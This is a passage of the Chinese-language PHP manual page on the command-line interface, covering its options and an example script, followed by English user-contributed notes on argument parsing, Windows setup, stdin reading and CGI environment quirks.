正确的方法是使用单引号 '。在用单引号引用的字符串中，变量不会被 sh/bash 还原成其原值。
$ php -r '$foo = get_defined_constants(); var_dump($foo);'
array(370) {
  ["E_ERROR"]=>
  int(1)
  ["E_WARNING"]=>
  int(2)
  ["E_PARSE"]=>
  int(4)
  ["E_NOTICE"]=>
  int(8)
  ["E_CORE_ERROR"]=>
  [...]
如果使用的外壳不是 sh/bash，可能会碰到更多问题。请将碰到的 Bug 向 http://bugs.php.net/ 报告。注意，当试图将 shell 变量用到代码中或者使用反斜线时仍然很容易碰到问题。

注: -r 在 CLI SAPI 中有效，在 CGI SAPI 中无效。

注: 此选项只用于非常基本的用途。因此一些配置指令（例如 auto_prepend_file 和 auto_append_file）在此模式下被忽略。

-B --process-begin

在处理 stdin 之前先执行 PHP 代码。PHP 5 新加。

-R --process-code

对每个输入行都执行 PHP 代码。PHP 5 新加。

此模式下有两个特殊变量：$argn 和 $argi。$argn 包含 PHP 当前处理的行内容，而 $argi 则包含该行号。

-F --process-file

对每个输入行都执行 PHP 文件。PHP 5 新加。

-E --process-end

在处理完输入后执行的 PHP 代码。PHP 5 新加。

使用 -B，-R 和 -E 选项来计算一个项目总行数的例子。
$ find my_proj | php -B '$l=0;' -R '$l += count(@file($argn));' -E 'echo "Total Lines: $l\n";'
Total Lines: 37328

-s --syntax-highlight and --syntax-highlight

显示有语法高亮色彩的源代码。

该参数使用内建机制来解析文件并为其生成一个 HTML 高亮版本并将结果写到标准输出。请注意该过程所做的只是生成了一个 <code> [...] </code> 的 HTML 标记的块，并不包含任何的 HTML 头。

注: 该选项不能和 -r 参数同时使用。

-v --version

将 PHP，PHP SAPI 和 Zend 的版本信息写入标准输出。例如：
$ php -v
PHP 4.3.0 (cli), Copyright (c) 1997-2002 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2002 Zend Technologies

-w --strip

显示除去了注释和多余空白的源代码。

注: 该选项不能和 -r 参数同时使用。

-z --zend-extension

加载 Zend 扩展库。如果仅给定一个文件名，PHP 将试图从当前系统扩展库的默认路径（在 Linux 系统下，该路径通常由 /etc/ld.so.conf 指定）加载该扩展库。如果用一个绝对路径指定文件名，则不会使用系统的扩展库默认路径。如果用相对路径指定的文件名，则 PHP 仅试图在当前目录的相对目录加载扩展库。

PHP 的命令行模式能使得 PHP 脚本能完全独立于 web 服务器单独运行。如果使用 Unix 系统，需要在 PHP 脚本的最前面加上一行特殊的代码，使得它能够被执行，这样系统就能知道用哪个程序去运行该脚本。在 Windows 平台下可以将 php.exe 和 .php 文件的双击属性相关联，也可以编写一个批处理文件来用 PHP 执行脚本。为 Unix 系统增加的第一行代码不会影响该脚本在 Windows 下的运行，因此也可以用该方法编写跨平台的脚本程序。以下是一个简单的 PHP 命令行程序的范例。

例子 43-1. 试图以命令行方式运行的 PHP 脚本（script.php）

#!/usr/bin/php
<?php

if ($argc != 2 || in_array($argv[1], array('--help', '-help', '-h', '-?'))) {
?>

This is a command line PHP script with one option.

  Usage:
  <?php echo $argv[0]; ?> <option>

  <option> can be some word you would like
  to print out. With the --help, -help, -h,
  or -? options, you can get this help.

<?php
} else {
    echo $argv[1];
}
?>

在以上脚本中，用第一行特殊的代码来指明该文件应该由 PHP 来执行。在这里使用 CLI 的版本，因此不会有 HTTP 头信息输出。在用 PHP 编写命令行应用程序时，可以使用两个参数：$argc 和 $argv。前面一个的值是比参数个数大 1 的整数（运行的脚本本身的名称也被当作一个参数）。第二个是包含有参数的数组，其第一个元素为脚本的名称，下标为数字 0（$argv[0]）。

以上程序中检查了参数的个数是大于 1 个还是小于 1 个。此外如果参数是 --help，-help，-h 或 -? 时，打印出帮助信息，并同时动态输出脚本的名称。如果还收到了其它参数，将其显示出来。

如果希望在 Unix 下运行以上脚本，需要使其属性为可执行文件，然后简单的运行 script.php echothis 或 script.php -h。在 Windows 下，可以为此编写一个批处理文件：

例子 43-2. 运行 PHP 命令行脚本的批处理文件（script.bat）

@C:\php\php.exe script.php %1 %2 %3 %

假设将上述程序命名为 script.php，且 CLI 版的 php.exe 文件放置在 c:\php\cli\php.exe，该批处理文件会帮助将附加的参数传给脚本程序：script.bat echothis 或 script.bat -h。

请参阅 Readline 扩展模块的有关文档，以获取更多的函数的信息。这些函数可以帮助完善 PHP 命令行应用程序。

add a note add a note User Contributed Notes
stromdotcom at hotmail dot com
22-Feb-2006 02:27
Spawning php-win.exe as a child process to handle scripting in Windows applications has a few quirks (all having to do with pipes between Windows apps and console apps).

To do this in C++:

// We will run php.exe as a child process after creating
// two pipes and attaching them to stdin and stdout
// of the child process
// Define sa struct such that child inherits our handles

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

// Create the handles for our two pipes (two handles per pipe, one for each end)
// We will have one pipe for stdin, and one for stdout, each with a READ and WRITE end
HANDLE hStdoutRd, hStdoutWr, hStdinRd, hStdinWr;

// Now create the pipes, and make them inheritable
CreatePipe (&hStdoutRd, &hStdoutWr, &sa, 0))
SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0);
CreatePipe (&hStdinRd, &hStdinWr, &sa, 0)
SetHandleInformation(hStdinWr, HANDLE_FLAG_INHERIT, 0);

// Now we have two pipes, we can create the process
// First, fill out the usage structs
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = hStdoutWr;
si.hStdInput  = hStdinRd;

// And finally, create the process
CreateProcess (NULL, "c:\\php\\php-win.exe", NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

// Close the handles we aren't using
CloseHandle(hStdoutWr);
CloseHandle(hStdinRd);

// Now that we have the process running, we can start pushing PHP at it
WriteFile(hStdinWr, "<?php echo 'test'; ?>", 9, &dwWritten, NULL);

// When we're done writing to stdin, we close that pipe
CloseHandle(hStdinWr);

// Reading from stdout is only slightly more complicated
int i;

std::string processed("");
char buf[128];

while ( (ReadFile(hStdoutRd, buf, 128, &dwRead, NULL) && (dwRead != 0)) ) {
   for (i = 0; i < dwRead; i++)
       processed += buf[i];
}

// Done reading, so close this handle too
CloseHandle(hStdoutRd);

A full implementation (implemented as a C++ class) is available at http://www.stromcode.com
drewish at katherinehouse dot com
25-Sep-2005 03:08
When you're writing one line php scripts remember that 'php://stdin' is your friend. Here's a simple program I use to format PHP code for inclusion on my blog:

UNIX:
  cat test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"

DOS/Windows:
  type test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"
OverFlow636 at gmail dot com
20-Sep-2005 03:27
I needed this, you proly wont tho.
puts the exicution args into $_GET
<?php
if ($argv)
   for ($i=1;$i<count($argv);$i++)
   {
       $it = split("=",$argv[$i]);
       $_GET[$it[0]] = $it[1];
   }
?>
php at schabdach dot de
17-Sep-2005 12:06
To pass more than 9 arguments to your php-script on Windows, you can use the 'shift'-command in a batch file. After using 'shift', %1 becomes %0, %2 becomes %1 and so on - so you can fetch argument 10 etc.

Here's an example - hopefully ready-to-use - batch file:

foo.bat:
---------
@echo off

:init_arg
set args=

:get_arg
shift
if "%0"=="" goto :finish_arg
set args=%args% %0
goto :get_arg
:finish_arg

set php=C:\path\to\php.exe
set ini=C:\path\to\php.ini
%php% -c %ini% foo.php %args%
---------

Usage on commandline:
foo -1 -2 -3 -4 -5 -6 -7 -8 -9 -foo -bar

A print_r($argv) will give you all of the passed arguments.
Lasse Johansson
18-Aug-2005 04:53
Hi, parsing the commandline (argv) can be very simple in PHP.
If you use keyword parms like:

script.php parm1=value parm3=value

All you have to do in script.php is:

for ($i=1; $i < $argc; $i++) {parse_str($argv[$i]);}
$startup=compact('parm1', 'parm2', 'parm3');
docey
14-Jul-2005 08:44
dunno if this is on linux the same but on windows evertime
you send somthing to the console screen php is waiting for
the console to return. therefor if you send a lot of small
short amounts of text, the console is starting to be using
more cpu-cycles then php and thus slowing the script.

take a look at this sheme:
cpu-cycle:1 ->php: print("a");
cpu-cycle:2 ->cmd: output("a");
cpu-cycle:3 ->php: print("b");
cpu-cycle:4 ->cmd: output("b");
cpu-cycle:5 ->php: print("c");
cpu-cycle:6 ->cmd: output("c");
cpu-cylce:7 ->php: print("d");
cpu-cycle:8 ->cmd: output("d");
cpu-cylce:9 ->php: print("e");
cpu-cycle:0 ->cmd: output("e");

on the screen just appears "abcde". but if you write
your script this way it will be far more faster:
cpu-cycle:1 ->php: ob_start();
cpu-cycle:2 ->php: print("abc");
cpu-cycle:3 ->php: print("de");
cpu-cycle:4 ->php: $data = ob_get_contents();
cpu-cycle:5 ->php: ob_end_clean();
cpu-cycle:6 ->php: print($data);
cpu-cycle:7 ->cmd: output("abcde");

now this is just a small example but if you are writing an
app that is outputting a lot to the console, i.e. a text
based screen with frequent updates, then its much better
to first cach all output, and output is as one big chunk of
text instead of one char a the time.

ouput buffering is ideal for this. in my script i outputted
almost 4000chars of info and just by caching it first, it
speeded up by almost 400% and dropped cpu-usage.

because what is being displayed doesn't matter, be it 2
chars or 40.0000 chars, just the call to output takes a
great deal of time. remeber that.

maybe someone can test if this is the same on unix-based
systems. it seems that the STDOUT stream just waits for
the console to report ready, before continueing execution.
wallacebw
24-Jun-2005 11:07
For windows clearing the screen using "system('cls');" does not work (at least for me)...

Although this is not pretty it works... Simply send 24 newlines after the output (for one line of output, 23 for two, etc

Here is a sample function and usage:

   function CLS($lines){  // $lines = number of lines of output to keep
       for($i=24;$i>=$lines;$i--) @$return.="\n";
       return $return;
   }

   fwrite(STDOUT,"Still Processing: Total Time ".$i." Minutes so far..." . CLS(1));

Hope This Helps,
Wallacebw
linus at flowingcreativity dot net
30-May-2005 10:32
If you are using Windows XP (I think this works on 2000, too) and you want to be able to right-click a .php file and run it from the command line, follow these steps:

1. Run regedit.exe and *back up the registry.*
2. Open HKEY_CLASSES_ROOT and find the ".php" key.

IF IT EXISTS:
------------------
3. Look at the "(Default)" value inside it and find the key in HKEY_CLASSES_ROOT with that name.
4. Open the "shell" key inside that key. Skip to 8.

IF IT DOESN'T:
------------------
5. Add a ".php" key and set the "(Default)" value inside it to something like "phpscriptfile".
6. Create another key in HKEY_CLASSES_ROOT called "phpscriptfile" or whatever you chose.
7. Create a key inside that one called "shell".

8. Create a key inside that one called "run".
9. Set the "(Default)" value inside "run" to whatever you want the menu option to be (e.g. "Run").
10. Create a key inside "run" called "command".
11. Set the "(Default)" value inside "command" to:

cmd.exe /k C:\php\php.exe "%1"

Make sure the path to PHP is appropriate for your installation. Why not just run it with php.exe directly? Because you (presumably) want the console window to remain open after the script ends.

You don't need to set up a webserver for this to work. I downloaded PHP just so I could run scripts on my computer. Hope this is useful!
roberto dot dimas at gmail dot com
27-May-2005 04:52
One of the things I like about perl and vbscripts, is the fact that I can name a file e.g. 'test.pl' and just have to type 'test, without the .pl extension' on the windows command line and the command processor knows that it is a perl file and executes it using the perl command interpreter.

I did the same with the file extension .php3 (I will use php3 exclusivelly for command line php scripts, I'm doing this because my text editor VIM 6.3 already has the correct syntax highlighting for .php3 files ).

I modified the PATHEXT environment variable in Windows XP, from the " 'system' control panel applet->'Advanced' tab->'Environment Variables' button-> 'System variables' text area".

Then from control panel "Folder Options" applet-> 'File Types' tab, I added a new file extention (php3), using the button 'New'  and typing php3 in the window that pops up.

Then in the 'Details for php3 extention' area I used the 'Change' button to look for the Php.exe executable so that the php3 file extentions are associated with the php executable.

You have to modify also the 'PATH' environment variable, pointing to the folder where the php executable is installed

Hope this is useful to somebody
diego dot rodrigues at poli dot usp dot br
03-May-2005 11:29
#!/usr/bin/php -q
<?
/**********************************************
* Simple argv[] parser for CLI scripts
* Diego Mendes Rodrigues - So Paulo - Brazil
* diego.m.rodrigues [at] gmail [dot] com
* May/2005
**********************************************/

class arg_parser {
   var $argc;
   var $argv;
   var $parsed;
   var $force_this;

   function arg_parser($force_this="") {
       global $argc, $argv;
       $this->argc = $argc;
       $this->argv = $argv;
       $this->parsed = array();

       array_push($this->parsed,
                           array($this->argv[0]) );

       if ( !empty($force_this) )
           if ( is_array($force_this) )
               $this->force_this = $force_this;

       //Sending parameters to $parsed
       if ( $this->argc > 1 ) {
           for($i=1 ; $i< $this->argc ; $i++) {
               //We only have passed -xxxx
               if ( substr($this->argv[$i],0,1) == "-" ) {
                   //Se temos -xxxx xxxx
                   if ( $this->argc > ($i+1) ) {
                       if ( substr($this->argv[$i+1],0,1) != "-" ) {
                           array_push($this->parsed,
                               array($this->argv[$i],
                                   $this->argv[$i+1]) );
                           $i++;
                           continue;
                       }
                   }
               }
               //We have passed -xxxxx1 xxxxx2
               array_push($this->parsed,
                                                 array($this->argv[$i]) );
           }
       }

               //Testing if all necessary parameters have been passed
               $this->force();
   }

   //Testing if one parameter have benn passed
   function passed($argumento) {
       for($i=0 ; $i< $this->argc ; $i++)
           if ( $this->parsed[$i][0] == $argumento )
               return $i;
       return 0;
   }

   //Testing if you have passed a estra argument, -xxxx1 xxxxx2
   function full_passed($argumento) {
       $findArg = $this->passed($argumento);
       if ( $findArg )
           if ( count($this->parsed[$findArg] ) > 1 )
               return $findArg;
       return 0;
   }

       //Returns  xxxxx2 at a " -xxxx1 xxxxx2" call
   function get_full_passed($argumento) {
               $findArg = $this->full_passed($argumento);

               if ( $findArg )
                   return $this->parsed[$findArg][1];

               return;
       }

   //Necessary parameters to script
   function force() {
       if ( is_array( $this->force_this ) ) {
           for($i=0 ; $i< count($this->force_this) ; $i++) {
               if ( $this->force_this[$i][1] == "SIMPLE"
                     && !$this->passed($this->force_this[$i][0])
               )
                   die("\n\nMissing " . $this->force_this[$i][0] . "\n\n");

                               if ( $this->force_this[$i][1] == "FULL"
                                     && !$this->full_passed($this->force_this[$i][0])
               )
                                       die("\n\nMissing " . $this->force_this[$i][0] ." <arg>\n\n");
           }
       }
   }
}

//Example
$forcar = array(
       array("-name", "FULL"),
       array("-email","SIMPLE") );

$parser = new arg_parser($forcar);

if ( $parser->passed("-show") )
   echo "\nGoing...:";

echo "\nName: " . $parser->get_full_passed("-name");

if ( $parser->full_passed("-email") )
   echo "\nEmail: " . $parser->get_full_passed("-email");
else
       echo "\nEmail: default";

if ( $parser->full_passed("-copy") )
       echo "\nCopy To: " . $parser->get_full_passed("-copy");

echo "\n\n";
?>

TESTING
=====
[diego@Homer diego]$ ./en_arg_parser.php -name -email cool -copy Ana

Missing -name <arg>

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email cool -copy Ana

Name: diego
Email: cool
Copy To: Ana

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email  -copy Ana

Name: diego
Email: default
Copy To: Ana

[diego@Homer diego]$ ./en_arg_parser.php -name diego -email

Name: diego
Email: default

[diego@Homer diego]$
rh@hdesigndotdemondotcodotuk
26-Apr-2005 04:28
In a bid to save time out of lives when calling up php from the Command Line on Mac OS X.

I just wasted hours on this. Having written a routine which used the MCRYPT library, and tested it via a browser, I then set up a crontab to run the script from the command line every hour (to do automated backups from mysql using mysqldump, encrypt them using mcrypt, then email them and ftp them off to remote locations).

Everything worked fine from the browser, but failed every time from the cron task with "Call to undefined function: mcrypt [whatever]".

Only after much searching do I realise that the CGI and CLI versions are differently compiled, and have different modules attached (I'm using the entropy.ch install for Mac OS-X, php v4.3.2 and mysql v4.0.18).

I still can not find a way to resolve the problem, so I have decided instead to remove the script from the SSL side of the server, and run it using a crontab with CURL to localhost or 127.0.0.1 in order that it will run through Apache's php module.

Just thought this might help some other people tearing their hair out. If anyone knows a quick fix to add the mcrypt module onto the CLI php without any tricky re-installing, it'd be really helpful.

Meantime the workaround does the job, not as neatly though.
merrittd at dhcmc dot com
29-Mar-2005 05:23
Example 43-2 shows how to create a DOS batch file to run a PHP script form the command line using:

@c:\php\cli\php.exe script.php %1 %2 %3 %4

Here is an updated version of the DOS batch file:

@c:\php\cli\php.exe %~n0.php %*

This will run a PHP file (i.e. script.php) with the same base file name (i.e. script) as the DOS batch file (i.e. script.bat) and pass all parameters (not just the first four as in example 43-2) from the DOS batch file to the PHP file.

This way all you have to do is copy/rename the DOS batch file to match the name of your PHP script file without ever having to actually modify the contents of the DOS batch file to match the file name of the PHP script.
14-Mar-2005 05:52
Here is very simple, but usefull Command Line handler class. it may be usefull for your apps.

http://www.pure-php.de/node/16
<?
require_once("CliHandler.class.php");

class AnyClass{
   public function start(){
       return "started";
   }
   public function stop(){
       return "stoppded";
   }
}
$cli = new CliHandler(new AnyClass());
$cli->run();
?>

CliHandler accepts any class als argument.
Try this.

/usr/local/php/PHP5 CliHandler.class.php
output: Try these command:
start
stop
enter "start"
output: started
bertrand at toggg dot com
08-Mar-2005 12:40
If you want to pass directly PHP code to the interpreter and you don't have only CGI, not the CLI SAPI so you miss the -r option.
If you're lucky enough to be on a nix like system, then tou can still use the pipe solution as the 3. way to command CLI SAPI described above, using a pipe ('|').

Then works for CGI SAPI:

$ echo '<?php echo "coucou\n"; phpinfo(); /* or any code */ ?>' | php

NOTE: unlike commands passed to the -r option, here you NEED the PHP tags.
jeromenelson at gmail dot com
07-Mar-2005 05:21
This is the most simple way to get the named parameter.  Write the script test.php as ...

<?
   echo "Yo! my name is ".$_REQUEST["name"]."\n";
?>

and run this program as follows

# php -f test.php name=Jerry
Yo! my name is Jerry

I am using PHP 4.3.3 (CGI) in Fedora Core 1 and It is working perfectly

God Bless You!
obfuscated at emailaddress dot com
26-Feb-2005 12:15
This posting is not a php-only problem, but hopefully will save someone a few hours of headaches.  Running on MacOS (although this could happen on any *nix I suppose), I was unable to get the script to execute without specifically envoking php from the command line:

[macg4:valencia/jobs] tim% test.php
./test.php: Command not found.

However, it worked just fine when php was envoked on the command line:

[macg4:valencia/jobs] tim% php test.php
Well, here we are...  Now what?

Was file access mode set for executable?  Yup.

[macg4:valencia/jobs] tim% ls -l
total 16
-rwxr-xr-x  1 tim  staff  242 Feb 24 17:23 test.php

And you did, of course, remember to add the php command as the first line of your script, yeah?  Of course.

#!/usr/bin/php
<?php print "Well, here we are...  Now what?\n"; ?>

So why dudn't it work?  Well, like I said... on a Mac.... but I also occasionally edit the files on my Windows portable (i.e. when I'm travelling and don't have my trusty Mac available)...  Using, say, WordPad on Windows... and BBEdit on the Mac...

Aaahhh... in BBEdit check how the file is being saved!  Mac?  Unix?  or Dos?  Bingo.  It had been saved as Dos format.  Change it to Unix:

[macg4:valencia/jobs] tim% ./test.php
Well, here we are...  Now what?
[macg4:valencia/jobs] tim%

NB: If you're editing your php files on multiple platforms (i.e. Windows and Linux), make sure you double check the files are saved in a Unix format...  those \r's and \n's 'll bite cha!
db at digitalmediacreation dot ch
23-Feb-2005 03:49
A very important point missing here (I lost hours on it and hope to avoid this to you) :

* When using PHP as CGI
* When you just become crazy because of "No input file specified" appearing on the web page, while it never appears directly in the shell

Then I have a solution for you :

1. Create a script for example called cgiwrapper.cgi
2. Put inside :
 #!/bin/sh -
 export SCRIPT_FILENAME=/var/www/realpage.php
 /usr/bin/php -f $SCRIPT_FILENAME
3. Name your page realpage.php

For example with thttpd the problem is that SCRIPT_FILENAME is not defined, while PHP absolutely requires it.
My solution corrects that problem !
Flo
11-Feb-2005 08:03
On windows try ctrl-m or ctrl-z to run code in interactive (-a) mode
(*nix ctrl-d)
ken.gregg at rwre dot com
10-Jan-2005 05:38
If you want to use named command line parameters in your script,
the following code will parse command line parameters in the form
of name=value and place them in the $_REQUEST super global array.

cli_test.php
<?php

echo "argv[] = ";
print_r($argv);  // just to see what was passed in

if ($argc > 0)
{
  for ($i=1;$i < $argc;$i++)
  {
   parse_str($argv[$i],$tmp);
   $_REQUEST = array_merge($_REQUEST, $tmp);
  }
}

echo "\$_REQUEST = ";
print_r($_REQUEST);

?>

rwre:~/tmp$ /usr/local/bin/php cli_test.php foo=1 bar=2 third=a+value

argv[] = Array
(
   [0] => t.php
   [1] => foo=1
   [2] => bar=2
   [3] => third=a+value
)
$_REQUEST = Array
(
   [foo] => 1
   [bar] => 2
   [third] => a value
)
Ben Jenkins
22-Dec-2004 01:23
This took me all day to figure out, so I hope posting it here saves someone some time:
Your PHP-CLI may have a different php.ini than your apache-php.  For example: On my Debian-based system, I discovered I have /etc/php4/apache/php.ini and /etc/php4/cli/php.ini
If you want MySQL support in the CLI, make sure the line
extension=mysql.so
is not commented out.
The differences in php.ini files may also be why some scripts will work when called through a web browser, but will not work when called via the command line.
david at acz dot org
24-Sep-2004 03:46
If you want an interactive command line shell for PHP to test out code, give phpa a try:

http://david.acz.org/phpa/
linn at backendmedia dot com
06-Feb-2004 10:12
For those of you who want the old CGI behaviour that changes to the actual directory of the script use:
chdir(dirname($_SERVER['argv'][0]));

at the beginning of your scripts.
ben at slax0rnet dot com
03-Feb-2004 11:34
Just a note for people trying to use interactive mode from the commandline.

The purpose of interactive mode is to parse code snippits without actually leaving php, and it works like this:

[root@localhost php-4.3.4]# php -a
Interactive mode enabled

<?php echo "hi!"; ?>
<note, here we would press CTRL-D to parse everything we've entered so far>
hi!
<?php exit(); ?>
<ctrl-d here again>
[root@localhost php-4.3.4]#

I noticed this somehow got ommited from the docs, hope it helps someone!
phprsr at mindtwin dot com
06-Aug-2003 12:12
The basic issue was that PHP-as-CGI REALLY REALLY wants SCRIPT_FILENAME.
It ignores the command line. It ignores SCRIPT_NAME.  It wants
SCRIPT_FILENAME.

"No input file specified."

This very informative error message from PHP means that your web server, WHATEVER it is, is not setting SCRIPT_FILENAME.

The minimum set of env variables:

PATH: DOESN'T MATTER if you're spawning php pages with #!/../php in them
LD_LIBRARY_PATH= should be right
SERVER_SOFTWARE=mini_httpd/1.17beta1 26may2002
SERVER_NAME=who cares
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.0
SERVER_PORT=whatever
REQUEST_METHOD=GET
SCRIPT_NAME=/foo.php
SCRIPT_FILENAME=/homes/foobie/mini/foo.php    <--- CRITICAL
QUERY_STRING==PHPE9568F35-D428-11d2-A769-00AA001ACF42
REMOTE_ADDR=172.17.12.80
HTTP_REFERER=http://booky16:10000/foo.php
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322)

If SCRIPT_FILENAME is not set, you'll get the dreaded "No input file specified" message.

mini_httpd does not do this by default. You need to patch it in to make_envp.

A secondary issue is configuration (PHP):

   ./configure --enable-discard-path --with-config-file-path=/homes/wherever/mini/php.ini

   (where php.ini is a slightly modified version of php.ini-recommended)
punk [_at_] studionew [_dot_] com
19-Jul-2003 07:18
You can use this function to ask user to enter smth

<?
function read ($length='255')
{
   if (!isset ($GLOBALS['StdinPointer']))
   {
     $GLOBALS['StdinPointer'] = fopen ("php://stdin","r");
   }
   $line = fgets ($GLOBALS['StdinPointer'],$length);
   return trim ($line);
}

// then

echo "Enter your name: ";
$name = read ();
echo "\nHello $name! Where you came from? ";
$where = read ();
echo "\nI see. $where is very good place.";
?>
Adam, php(at)getwebspace.com
17-Jun-2003 07:12
Ok, I've had a heck of a time with PHP > 4.3.x and whether to use CLI vs CGI. The CGI version of 4.3.2 would return (in browser):
---
No input file specified.
---

And the CLI version would return:
---
500 Internal Server Error
---

It appears that in CGI mode, PHP looks at the environment variable PATH_TRANSLATED to determine the script to execute and ignores command line. That is why in the absensce of this environment variable, you get "No input file specified." However, in CLI mode the HTTP headers are not printed. I believe this is intended behavior for both situations but creates a problem when you have a CGI wrapper that sends environment variables but passes the actual script name on the command line.

By modifying my CGI wrapper to create this PATH_TRANSLATED environment variable, it solved my problem, and I was able to run the CGI build of 4.3.2
monte at ispi dot net
05-Jun-2003 06:47
I had a problem with the $argv values getting split up when they contained plus (+) signs. Be sure to use the CLI version, not CGI to get around it.

Monte
Popeye at P-t-B dot com
18-Apr-2003 11:15
In *nix systems, use the WHICH command to show the location of the php binary executable. This is the path to use as the first line in your php shell script file. (#!/path/to/php -q) And execute php from the command line with the -v switch to see what version you are running.

example:

# which php
/usr/local/bin/php
# php -v
PHP 4.3.1 (cli) (built: Mar 27 2003 14:41:51)
Copyright (c) 1997-2002 The PHP Group
Zend Engine v1.3.0, Copyright (c) 1998-2002 Zend Technologies

In the above example, you would use: #!/usr/local/bin/php

Also note that, if you do not have the current/default directory in your PATH (.), you will have to use ./scriptfilename to execute your script file from the command line (or you will receive a "command not found" error). Use the ENV command to show your PATH environment variable value.
volkany at celiknet dot com
21-Feb-2003 05:44
Here goes a very simple clrscr function for newbies...
function clrscr() { system("clear"); }
Alexander Plakidin
14-Feb-2003 09:34
How to change current directory in PHP script to script's directory when running it from command line using PHP 4.3.0?
(you'll probably need to add this to older scripts when running them under PHP 4.3.0 for backwards compatibility)

Here's what I am using:
chdir(preg_replace('/\\/[^\\/]+$/',"",$PHP_SELF));

Note: documentation says that "PHP_SELF" is not available in command-line PHP scripts. Though, it IS available. Probably this will be changed in future version, so don't rely on this line of code...

Use $_SERVER['PHP_SELF'] instead of just $PHP_SELF if you have register_globals=Off
c dot kelly[no--spam] at qfsaustrlia dot com dot au
07-Feb-2003 12:03
In Windows [NT4.0 sp6a] the example
php -r ' echo getcwd();' does not work ; It appears you have to use the following php -r "echo getcwd();" --not the " around the command  to get the output to screen , just took me half an hour to figure out what was going on.
wanna at stay dot anonynous dot com
23-Jan-2003 01:42
TIP: If you want different versions of the configuration file  depending on what SAPI is used,just name them php.ini (apache module), php-cli.ini (CLI) and php-cgi.ini (CGI) and dump them all in the regular configuration directory. I.e no need to compile several versions of php anymore!
phpnotes at ssilk dot de
22-Oct-2002 06:36
To hand over the GET-variables in interactive mode like in HTTP-Mode (e.g. your URI is myprog.html?hugo=bla&bla=hugo), you have to call

php myprog.html '&hugo=bla&bla=hugo'

(two & instead of ? and &!)

There just a little difference in the $ARGC, $ARGV values, but I think this is in those cases not relevant.
justin at visunet dot ie
22-Oct-2002 12:21
If you are trying to set up an interactive command line script and you want to get started straight away (works on 4+ I hope). Here is some code to start you off:

<?php

   // Stop the script giving time out errors..
   set_time_limit(0);

   // This opens standard in ready for interactive input..
   define('STDIN',fopen("php://stdin","r"));

   // Main event loop to capture top level command..
   while(!0)
   {

       // Print out main menu..
       echo "Select an option..\n\n";
       echo "    1) Do this\n";
       echo "    2) Do this\n";
       echo "    3) Do this\n";
       echo "    x) Exit\n";

       // Decide what menu option to select based on input..
       switch(trim(fgets(STDIN,256)))
       {
           case 1:
               break;

           case 2:
               break;

           case 3:
               break;

           case "x":
               exit();

           default:
               break;
       }

   }

   // Close standard in..
   fclose(STDIN);

?>
phpNOSPAM at dogpoop dot cjb dot net
12-Oct-2002 11:28
Here are some instructions on how to make PHP files executable from the command prompt in Win2k.  I have not tested this in any other version of Windows, but I'm assuming it will work in XP, but not 9x/Me.

There is an environment variable (control panel->system->advanced->environment variables) named PATHEXT.  This is a list of file extensions Windows will recognize as executable at the command prompt.  Add .PHP (or .PL, or .CLASS, or whatever) to this list.  Windows will use the default action associated with that file type when you execute it from the command prompt.

To set up the default action:
Open Explorer.
Go to Tools->folder options->file types
Find the extension you're looking for.  If it's not there, click New to add it.
Click on the file type, then on Advanced, then New.
For the action, type "Run" or "Execute" or whatever makes sense.
For the application, type
  {path to application} "%1" %*
The %* will send any command line options that you type to the program.
The application field for PHP might look like
  c:\php\php.exe -f "%1" -- %*
(Note, you'll probably want to use the command line interface version php-cli.exe)
or for Java
  c:\java\java.exe "%1" %*
Click OK.
Click on the action that was just added, then click Set default.

If this helps you or if you have any changes/more information I would appreciate a note.  Just remove NOSPAM from the email address.
jeff at noSpam[] dot genhex dot net
06-Sep-2002 08:13
You can also call the script from the command line after chmod'ing the file (ie: chmod 755 file.php).

On your first line of the file, enter "#!/usr/bin/php" (or to wherever your php executable is located).  If you want to suppress the PHP headers, use the line of "#!/usr/bin/php -q" for your path.
zager[..A..T..]teleaction.de
16-Aug-2002 02:15
Under Solaris (at least 2.6) I have some problems with reading stdin. Original pbms report may be found here:
http://groups.google.com/groups?
q=Re:+%5BPHP%5D+Q+on+php://stdin+--+an+answer!&hl=en&lr=&ie=UTF-
8&oe=UTF-8&selm=3C74AF57.6090704%40Sun.COM&rnum=1

At a first glance the only solution for it is 'fgetcsv'

#!/usr/local/bin/php -q
<?php

set_magic_quotes_runtime(0);
$fd=fopen("php://stdin","r");
if (!$fd)
  exit;

while (!feof ($fd))
{
  $s = fgetcsv($fd,128,"\n");
  if ($s==false)
   continue;

  echo $s[0]."\n";
}
?>

But... keep reading....

>>> I wrote
Hello,
Sometimes I hate PHP... ;)

Right today I was trapped by some strange bug in my code with reading stdin using fgetcsv.
After a not small investigation I found that strings like "foo\nboo\ndoo"goo\n (take note of double quatation sign in it)
interpreted by fgetcsv like:
1->foo\nboo\ndoo
2->goo
since double quotation mark has a special meaning and get stripped off of the input stream.
Indeed, according to PHP manual:
[quote]
array fgetcsv ( int fp, int length [, string delimiter [, string enclosure]])

[skip]
another delimiter with the optional third parameter. _The_enclosure_character_is_double_quote_,_unless_
it_is_specified_.
[skip]
_enclosure_is_added_from_PHP 4.3.0.      !!!!!!
[/quote]

Means no chance for us prior to 4.3.0 :(
But file() works just fine !!!! Of course by the price of memory, so be careful with large files.

set_magic_quotes_runtime(0); // important, do not forget it !!!
$s=file("php://stdin");
for ($i=0,$n=sizeof($s);$i<$n;$i++)
{
  do_something_useful(rtrim($s[$i]));
}

Conclusion:
1. If you have no double quotation mark in your data use fgetcsv
2. From 4.3.0 use  fgetcsv($fd,"\n",""); // I hope it will help
3. If you data is not huge use file("php://stdin");

Hope now it's cleared for 100% (to myself ;)

Good luck!
Dim

PS. Don't forget that it's only Solaris specific problem. Under Linux just use usual fgets()...
jonNO at SPAMjellybob dot co dot uk
